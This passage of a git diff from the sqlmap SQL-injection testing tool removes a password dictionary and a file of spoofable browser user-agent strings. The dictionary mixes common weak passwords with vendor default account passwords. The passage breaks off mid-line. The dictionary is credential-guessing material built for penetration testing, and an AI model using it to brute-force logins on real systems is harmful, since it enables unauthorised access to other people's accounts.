-shirley -shit -shithead -shoes -shogun -shorty -shotgun -Sidekick -sidney -sierra -Sierra -sigmachi -signal -signature -si_informtn_schema -silver -simba -simba1 -simon -simple -simsim -sinatra -singer -sirius -siteminder -skate -skeeter -Skeeter -skibum -skidoo -skiing -skip -skipper -skipper1 -skippy -skull -skunk -skydive -skyler -skywalker -slacker -slayer -sleepy -slick -slidepw -slider -slip -smashing -smegma -smile -smile1 -smiles -smiley -smiths -smitty -smoke -smokey -Smokey -smurfy -snake -snakes -snapper -snapple -snickers -sniper -snoop -snoopdog -snoopy -Snoopy -snow -snowball -snowflake -snowman -snowski -snuffy -sober1 -soccer -soccer1 -softball -soleil -solomon -sonic -sonics -sonny -sony -sophia -sophie -sound -space -spain -spanky -sparks -sparky -Sparky -sparrow -spartan -spazz -special -speedo -speedy -Speedy -spencer -sphynx -spider -spierson -spike -spike1 -spitfire -spock -sponge -spooky -spoon -sports -spot -spring -sprite -sprocket -spunky -spurs -squash -ssp -sss -ssssss -stacey -stan -stanley -star -star69 -starbuck -stargate -starlight -stars -start -starter -startrek -starwars -station -stealth -steel -steele -steelers -stella -steph -steph1 -stephani -stephanie -stephen -stephi -Sterling -steve -steve1 -steven -Steven -steven1 -stevens -stewart -stimpy -sting -sting1 -stingray -stinky -stivers -stocks -stone -storage -storm -stormy -stranger -strat -strato -strat_passwd -strawberry -stretch -strong -stuart -stud -student -student2 -studio -stumpy -stupid -success -sucker -suckme -sue -sugar -sultan -summer -Summer -summit -sumuinen -sun -sunbird -sundance -sunday -sunfire -sunflower -sunny -sunny1 -sunrise -sunset -sunshine -Sunshine -super -superfly -superman -Superman -supersecret -superstar -support -supra -surf -surfer -surfing -susan -susan1 -susanna -sutton -suzanne -suzuki -suzy -Sverige -swanson -sweden -sweetie -sweetpea -sweety -swim -swimmer -swimming -switzer -Swoosh -swordfish -swpro -swuser -sydney -sylvia -sylvie -symbol -sympa -sys -sysadm -sysadmin -sysman -syspass -sys_stnt -system -system5 -systempass -tab -tabatha -tacobell -taffy -tahiti -taiwan -talon -tamara -tammy -tamtam -tango -tanner -tanya -tapani -tara -targas -target -tarheel -tarzan -tasha -tata -tattoo -taurus -Taurus -taylor -Taylor -tazdevil -tbird -t-bone -tdos_icsap -teacher -tech -techno -tectec -teddy -teddy1 -teddybear -teflon -telecom -temp -temporal -tennis -Tennis -tequila -teresa -terminal -terry -terry1 -test -test1 -test123 -test2 -test3 -tester -testi -testing -testpass -testpilot -testtest -test_user -texas -thankyou -the -theatre -theboss -theend -thejudge -theking -thelorax -theresa -Theresa -thinsamplepw -thisisit -thomas -Thomas -thompson -thorne -thrasher -thumper -thunder -Thunder -thunderbird -thursday -thx1138 -tibco -tiffany -tiger -tiger2 -tigers -tigger -Tigger -tightend -tigre -tika -tim -timber -time -timothy -tina -tinker -tinkerbell -tintin -tip37 -tnt -toby -today -tokyo -tom -tomcat -tommy -tony -tool -tootsie -topcat -topgun -topher -tornado -toronto -toshiba -total -toto1 -tototo -toucan -toyota -trace -tracy -training -transfer -transit -transport -trapper -trash -travel -travis -tre -treasure -trebor -tree -trees -trek -trevor -tricia -tricky -trident -trish -tristan -triton -trixie -trojan -trombone -trophy -trouble -trout -truck -trucker -truman -trumpet -trustno1 -tsdev -tsuser -tucker -tucson -tuesday -Tuesday -tula -turbine -turbo -turbo2 -turtle -tweety -twins -tyler -tyler1 -ultimate -um_admin -um_client -undead -unicorn -unique -united -unity -unix -unknown -upsilon -ursula -user -user0 -user1 -user2 -user3 -user4 -user5 -user6 -user7 -user8 -user9 -utility -utlestat -utopia -vacation -vader -val -valentin -valentine -valerie -valhalla -valley -vampire -vanessa -vanilla -vea -vedder -veh -velo -velvet -venice -venus -vermont -Vernon -veronica -vertex_login -vette -vicki -vicky -victor -victor1 -victoria -Victoria -victory -video -videouser -vif_dev_pwd -viking -vikram -vincent -Vincent -vincent1 -violet -violin -viper -viper1 -virago -virgil -virginia -viruser -visa -vision -visual -volcano -volley -volvo -voodoo -vortex -voyager -vrr1 -vrr2 -waiting -walden -waldo -walker -walleye -wally -walter -wanker -warcraft -warlock -warner -warren -warrior -warriors -water -water1 -Waterloo -watson -wayne -wayne1 -weasel -webcal01 -webdb -webmaster -webread -webster -Webster -wedge -weezer -welcome -wendy -wendy1 -wesley -west -western -wfadmin -wh -whale1 -whatever -wheels -whisky -whit -white -whitney -whocares -whoville -wibble -wilbur -wildcat -will -william -william1 -williams -willie -willow -Willow -willy -wilma -wilson -win95 -wind -window -Windows -windsurf -winner -winnie -Winnie -winniethepooh -winona -winston -winter -wip -wisdom -wizard -wkadmin -wkproxy -wksys -wk_test -wkuser -wms -wmsys -wob -wolf -wolf1 -wolfgang -wolverine -Wolverine -wolves -wombat -wombat1 -wonder -wood -Woodrow -woody -woofwoof -word -world -World -wps -wrangler -wright -wsh -wsm -www -wwwuser -xademo -xanadu -xanth -xavier -xcountry -xdp -x-files -xfiles -xla -x-men -xnc -xni -xnm -xnp -xns -xprt -xtr -xxx -xxx123 -xxxx -xxxxxx -xxxxxxxx -xyz -xyz123 -y -yamaha -yankee -yankees -yellow -yes -yoda -yogibear -yolanda -yomama -young -your_pass -yukon -yvette -yvonne -zachary -zack -zapata -zaphod -zebra -zebras -zenith -zephyr -zeppelin -zepplin -zeus -zhongguo -ziggy -zigzag -zoltan -zombie -zoomer -zorro -zwerg -zxc -zxc123 -zxcvb -Zxcvb -zxcvbn -zxcvbnm -Zxcvbnm -zzz diff --git a/txt/user-agents.txt b/txt/user-agents.txt deleted file mode 100644 index ce244513e04..00000000000 --- a/txt/user-agents.txt +++ /dev/null @@ -1,2078 +0,0 @@ -# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) -Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/4.0 (compatible; MSIE 6.0; Linux i686 ; en) Opera 9.70 -Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.24 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60 -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) -Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; yie8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) -Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0) -Mozilla/4.61 (Macintosh; I; PPC) -Mozilla/4.61 [en] (OS/2; U) -Mozilla/4.7 (compatible; OffByOne; Windows 2000) -Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1) -Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) -Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC) -Mozilla/4.8 [en] (Windows NT 5.0; U) -Mozilla/5.0 (Linux i686 ; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.70 -Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) -Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.192 Safari/531.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.422.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; es-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fr-fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.4 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.11 Safari/532.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS 